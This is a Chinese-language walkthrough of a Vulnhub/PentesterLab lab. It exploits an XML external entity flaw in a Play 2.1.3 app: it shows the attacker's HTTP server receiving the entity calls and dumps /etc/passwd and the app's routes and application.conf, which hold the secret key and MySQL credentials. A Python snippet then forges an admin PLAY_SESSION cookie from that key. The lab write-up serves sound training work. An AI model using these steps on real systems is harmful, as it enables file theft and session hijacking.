【Vulnhub】Play XML Entities
时间:2022-07-23
本文章向大家介绍【Vulnhub】Play XML Entities,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
给了一个 iso 文件,打开就是登录的状态,可以直接 ifconfig 去看 ip 地址
访问一下 ip
python3 -m http.server 8080
python 开一个临时的服务,在提交表单的时候改成 xml(Content-Type 要改成 text/xml)
虽然服务器上没有这个东西,但是它确实去访问了
接下来就要通过编辑这个 test.dtd 来获得一些东西
再去访问的时候就能拿到 /etc/passwd 的信息
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
可以发现,play 用户的家目录是 /opt/play-2.1.3/xxe/
把 test.dtd 改一下
然后去访问得到:
.gitignore
.settings
app
conf
logs
Aproject
public
README
RUNNING_PID
target
test
再看一下 conf
application.conf
evolutions
routes
在访问 routes 时候
解码一下
/ controllers.Application.index()
GET /0ecf87346b9c0b370f8d63e6e7fed4f0 controllers.Application.secret_url()
GET /login controllers.Application.login
POST /login controllers.Application.login
GET /logout controllers.Application.logout
GET /assets/*file controllers.Assets.at(path="/public", file)
访问一下
/0ecf87346b9c0b370f8d63e6e7fed4f0
再去访问一下 application.conf
解码
application.secret="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
application.langs="en"
db.default.driver=com.mysql.jdbc.Driver
db.default.url="mysql://pentesterlab:pentesterlab@localhost/xxe"
ebean.default="models.*"
logger.root=ERROR
logger.play=INFO
logger.application=DEBUG
然后去看一下 framework/src/play/src/main/scala/play/api/mvc/Http.scala,并没有返回给我,我就直接在靶机里面看了
通过分析源码计算出 user=admin 应该用的 cookie
import hashlib
import hmac
key="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
data="user=admin"
h=hmac.new(key,data,hashlib.sha1)
h.hexdigest()
然后 cookie 改成
PLAY_SESSION="a5b8363ce748cfbb5d654edc3676d440173b33de-user=admin"
参考:
https://pentesterlab.com/exercises/play_xxe/course
http://www.beesfun.com/2017/04/21/play渗透框架XXE实体攻击/
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 一起来读开源项目的代码-Agar.io为例
- C语言入门系列之11.文件和文件操作
- 自己动手改造 Jetpack LiveData
- FastDFS基于Docker安装
- 用Python实现批量高效文件处理 解放你的双手
- Windows下使用VS2013编译使用SDL库
- C语言经典习题100例(一)1-5
- C语言经典习题100例(二)6-10
- Python 快速验证代理IP是否有效
- C语言入门系列之6.一维和二维数组
- C语言经典习题100例(五)21-25
- Python 列表 使用技巧
- 通过案例学Python之判断属相
- C语言经典习题100例(七)31-35
- C语言经典习题100例(八)36-40